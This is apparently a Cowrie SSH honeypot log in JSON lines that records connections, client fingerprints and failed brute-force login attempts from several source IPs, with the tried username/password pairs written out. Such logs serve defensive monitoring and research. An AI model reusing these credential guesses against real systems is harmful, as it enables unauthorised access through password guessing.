{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:43.119118Z","src_ip":"64.176.195.200","session":"aadafb93fe32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wcfg","password":"WCFG2017","message":"login attempt [wcfg/WCFG2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:43.130868Z","src_ip":"64.176.195.200","session":"aadafb93fe32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:44.138227Z","src_ip":"64.176.195.200","session":"aadafb93fe32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":26756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f4e592d19e4","protocol":"ssh","message":"New connection: 2.57.121.112:26756 (10.17.0.5:22) [session: 8f4e592d19e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:50.385153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:50.389855Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:50.489525Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300782","message":"login attempt [admin/300782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:50.962324Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30071972","message":"login attempt [admin/30071972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:52.063900Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300582","message":"login attempt [admin/300582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:53.166883Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300476","message":"login attempt [admin/300476] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:54.268141Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300184","message":"login attempt [admin/300184] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:55.371383Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:08:56.472554Z","src_ip":"2.57.121.112","session":"8f4e592d19e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54818,"dst_ip":"10.17.0.5","dst_port":22,"session":"0177899ab88d","protocol":"ssh","message":"New connection: 195.178.110.218:54818 (10.17.0.5:22) [session: 0177899ab88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:42.289019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:42.293503Z","src_ip":"195.178.110.218","session":"0177899ab88d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:42.372878Z","src_ip":"195.178.110.218","session":"0177899ab88d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:42.610873Z","src_ip":"195.178.110.218","session":"0177899ab88d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:43.692502Z","src_ip":"195.178.110.218","session":"0177899ab88d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":36906,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb8067df9384","protocol":"ssh","message":"New connection: 2.57.121.112:36906 (159.203.135.109:22) [session: cb8067df9384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.796240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.800292Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":42510,"dst_ip":"10.17.0.5","dst_port":22,"session":"312e568cda1b","protocol":"ssh","message":"New connection: 135.181.101.111:42510 (10.17.0.5:22) [session: 312e568cda1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.823175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.826765Z","src_ip":"135.181.101.111","session":"312e568cda1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.899234Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:09:59.934127Z","src_ip":"135.181.101.111","session":"312e568cda1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"privatekeys","password":"privatekeys2017@","message":"login attempt [privatekeys/privatekeys2017@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:00.152296Z","src_ip":"135.181.101.111","session":"312e568cda1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300782","message":"login attempt [admin/300782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:00.371264Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:01.262812Z","src_ip":"135.181.101.111","session":"312e568cda1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30071972","message":"login attempt [admin/30071972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:01.474289Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300582","message":"login attempt [admin/300582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:02.577881Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300476","message":"login attempt [admin/300476] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:03.682300Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300184","message":"login attempt [admin/300184] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:04.785290Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:10:05.888098Z","src_ip":"2.57.121.112","session":"cb8067df9384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":54746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f642f63bb66","protocol":"ssh","message":"New connection: 172.105.63.214:54746 (159.203.135.109:22) [session: 0f642f63bb66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:11:15.190352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:11:15.194631Z","src_ip":"172.105.63.214","session":"0f642f63bb66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:11:15.398573Z","src_ip":"172.105.63.214","session":"0f642f63bb66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xaut","password":"xaut2018","message":"login attempt [xaut/xaut2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:11:15.809278Z","src_ip":"172.105.63.214","session":"0f642f63bb66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:11:17.015043Z","src_ip":"172.105.63.214","session":"0f642f63bb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33772,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e2c86c3f0e","protocol":"ssh","message":"New connection: 195.178.110.218:33772 (10.17.0.5:22) [session: c9e2c86c3f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:12:18.622424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:12:18.627023Z","src_ip":"195.178.110.218","session":"c9e2c86c3f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:12:18.706150Z","src_ip":"195.178.110.218","session":"c9e2c86c3f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:12:18.944497Z","src_ip":"195.178.110.218","session":"c9e2c86c3f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:12:20.025429Z","src_ip":"195.178.110.218","session":"c9e2c86c3f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":42038,"dst_ip":"10.17.0.5","dst_port":22,"session":"7036e1f586e0","protocol":"ssh","message":"New connection: 152.32.129.186:42038 (10.17.0.5:22) [session: 7036e1f586e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:17.803610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:14:17.808403Z","src_ip":"152.32.129.186","session":"7036e1f586e0","protocol":"ssh"}
